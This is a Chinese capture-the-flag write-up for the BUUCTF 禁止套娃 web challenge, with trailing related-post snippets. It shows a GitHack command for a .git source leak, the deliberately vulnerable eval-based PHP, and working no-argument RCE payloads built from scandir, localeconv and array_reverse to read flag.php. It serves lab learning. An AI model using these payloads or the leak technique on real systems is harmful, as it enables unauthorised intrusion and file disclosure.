题目分析

这题对我这个小白来说好难理解,慢慢补坑吧。PHP很多常用的函数都不是很了解,命令执行也是呜呜呜感觉学得还不是很精通。

打开题目,只有如下:

看源码也没有什么东西,常见的信息泄露:robots协议,备用文件,目录爆破,.git泄露都试试

(看其他师傅的wp:也可以扫描后台,不太清楚为什么自己实操跑不出来有点奇怪),最后发现是.git泄露

使用GitHack工具,py脚本跑一下得到后台源码:

命令:

python GitHack.py http://XXXXXXXXXXX/.git/

得到的源码会留在工具所在的文件夹内,查看里面的index.php页面源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");}}else{die("再好好想想!");}}else{die("还想读flag,臭弟弟!");}
}
// highlight_file(__FILE__);
?>

源码分析:

1)需要通过GET方式传参exp

2)第一个preg_match过滤了php伪协议,这样就不可以用php伪协议读取flag.php文件了

3)preg_replace采用了正则匹配(其实就是无参数rce),?R表示引用当前表达式

形如:a(b()); 是符合正则匹配表达式的结构

无参数rce绕过参考其他师傅的博客(很久都不理解的正则匹配突然懂了,师傅们太强啦!!改天会尝试出一篇总结的):传送门

简但来说,到这一步,就是检查我们用过GET方式传入的exp参数的值,如果我们传入的值在经过正则匹配后((递归)替换后的字符串)只剩下 ,那么就成功绕过进入下一步检查。

4)第二个preg_match限制了一些关键字

5)看到eval应该是会用到命令执行

解题过程:

(一)

在上面传送门的那个师傅的博客我们可以知道:

(?R)?能匹配的只有a(); a(b()); a(b(c))); 这三种类型。比如传入a(b(c))); ,第一次匹配后,就只剩下a(b()); ,第二次匹配后就只剩下a(); 第三次匹配后就只剩下 ; ,那么根据判断条件,a(b(c()));就会被eval执行。

虽然但是,我还是想自己手动测试一下hhh

<?php$exp=$_GET['exp'];if(';'===preg_replace('/[a-z,_]+\((?R)?\)/',NULL,$exp)){echo "success";echo '<br>';echo $_GET['exp'];}else{echo "false";}
?>

当传参 exp=a(b()); 得到如下:

当然也可以使用正则自动化工具

二)

因为后面还有黑名单限制,所以在构造payload的时候还需要多加考虑,接下来就是无参数和绕黑名单的问题啦 虽然php伪协议用不了,但是@eval($_GET['exp'])显然告诉我们可以使用命令执行

首先我们要先用 scandir() 扫根目录下的所有文件(之前也做过类似的题目 不是很理解这里为什么用 '.' 不用'/'   有点疑惑???)但是由于是无参数rce,我们要查找能够返回  ' . ' 结果的函数。

其中localeconv()函数能够返回一包含本地数字及货币格式信息的数组,包含小数点字符。该数组的第一个元素就是' . ' 。

因为localeconv()函数返回的是数组形式,所以配合current()函数current()函数可以返回数组中的当前元素的值。

所以构造payload: (用print_r也是可以的)

?exp=var_dump(scandir(current(localeconv())));

当下只要查看到flag.php的源码即可得到flag,那么我们在查询的时候(顺序)就需要使得数组的索引为3,但是使用next()函数不能嵌套使用,那么顶多只能让数组的索引到第二个元素。看了看其他师傅的wp发现我们是可以使用array_reverse()函数将数组倒序,然后配合next()函数指向数组的1号索引(即是倒数第二个元素)。

手动测试:

<?php$tmp= array(".","..",".git","flag.php","index.php");echo next(array_reverse($tmp));
?>

得到如下:

所以再根据与源码中的提示,使用配合highlight_file(__FILE__)函数,读取flag.php页面的源码。

构造payload:

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

得到flag。

另外一种解法有空再更新。

本文参考了很多其他师傅的文章:

BUUCTF [GXYCTF2019] 禁止套娃_Senimo_的博客-CSDN博客_buuctf 禁止套娃

wp-buuctf-禁止套娃(无参绕过)【多方法】_sayo.的博客-CSDN博客_buuctf 禁止套娃

BUUCTF:[GXYCTF2019]禁止套娃_末 初的博客-CSDN博客

BUUCTF [GXYCTF2019] 禁止套娃相关推荐

  1. [GXYCTF2019]禁止套娃

    web第37题 [GXYCTF2019]禁止套娃 打开靶场 审计源代码无发现,使用dirmap进行目录扫描 发现.git目录,猜测存在.git源码泄露,参考: CTF-WEB:Git 源码泄露 git ...

  2. [GXYCTF2019]禁止套娃--详解

    目录 分析 法一 法二 分析 打开连接,发现啥也没有,只有一句话在那,看了源码.抓包数据也没发现啥,用dirsearch目录扫描一下,间隔设置为0.1线程设置为1,防止429,就是跑得比较久 等了一会 ...

  3. [GXYCTF2019]禁止套娃 1

    目录 源码 思路 题解 源码 扫到 .git <?php include "flag.php"; echo "flag在哪里呢?<br>"; ...

  4. java套娃_[GXYCTF2019]禁止套娃

    0x00 知识点 无参数RCE eval($_GET['exp']); 1.利用超全局变量进行bypass,进行RCE 2.进行任意文件读取 形式: if(';' === preg_replace(' ...

  5. 禁止套娃!Redis官网宕机,返回“连接不上Redis”

    点击上方 好好学java ,选择 星标 公众号 重磅资讯.干货,第一时间送达 今日推荐:Spring Boot + Vue 如此强大?竟然可以开发基于 C/S 架构的应用个人原创+1博客:点击前往,查 ...

  6. DNSSEC?禁止套娃!

    简介 DNSSEC是DNS安全拓展,主要思想是通过在DNS记录中添加加密签名,从而为DNS解析流程提供来源可认证和数据完整性的保障. 本文的目的是帮助大家大致理解DNSSEC的工作流程 建议读者先掌握 ...

  7. 【BUUCTF】[MRCTF2020]套娃

    思考 题目是套娃,感觉应该是一环一环的走下去,每个问题应该不是很难,按着他的提示做吧. 知识点 substr_count(),用空格或者.或者大写的url编码 preg_mach(),%0a绕过 本地 ...

  8. 汉诺塔 = 套娃 ?

    递归算法:是一种直接或者间接地调用自身的算法.在计算机编写程序中,递归算法对解决一大类问题是十分有效的,它往往使算法的描述简洁而且易于理解. 递归过程一般通过函数或子过程来实现. 递归算法的实质:把问 ...

  9. Python|“套娃”算法-递归算法解决全排列

    欢迎点击「算法与编程之美」↑关注我们! 本文首发于微信公众号:"算法与编程之美",欢迎关注,及时了解更多此系列文章. 1 什么是递归? 什么是递归?晦涩难懂而又有学术气息的解释网上 ...

最新文章

  1. 吉大c 语言程序设计奥鹏作业,吉大19秋学期《C语言程序设计》在线作业一【满分答案】...
  2. python报班大概多少钱-python培训班价格大概多少?
  3. 不进化,则消亡——互联网时代企业管理的十项实践
  4. 最小二乘法矩阵微分偏导法证明
  5. 京东最新点击率预估模型论文学习和分享
  6. JavaFX 2.0 beta示例应用程序和思考
  7. ubuntu安装后需了解的基本操作
  8. mysql内置变量_MySQL常用内置变量
  9. mall-swarm是一套微服务商城系统
  10. Centos7安装完成找不到 ifconfig 网路设置命令
  11. 2014年12月份工作日学习计划
  12. Docker 学习5 Docker容器网络
  13. 如果有人私信,吾看到后都会及时回答
  14. yolov5数据集标注txt2xml和xml2txt
  15. 数据库练习:分数排名
  16. python大侠个人信息查询_个人信息查询,教你怎么调查一个人的资料
  17. 在Linux打包成jar
  18. 为什么推广效果无法提升?
  19. WordPress主题 Vieu主题V4.5无授权无限制版 基于Dux主题二次开发 完美运行
  20. MJ12bot 蜘蛛爬虫 屏蔽垃圾SEO蜘蛛

热门文章

  1. 【算法】Catalan数
  2. java long 运算_Java Long类型,阶乘计算
  3. 阿里云IoTStudio中的“移动可视化开发”不见了
  4. 8、Java如何制作帮助文档
  5. 软件技术基础学习心得
  6. 企业微信客户端开启开发者模式
  7. 对SG函数(Sprague-Garundy函数)及其应用的简单解释与证明
  8. 软件设计师---UML
  9. 用c语言实现的FFT
  10. SLAM学习笔记《Past, Present, and Future of Simultaneous Localization and Mapping: Toward the Robust-Per》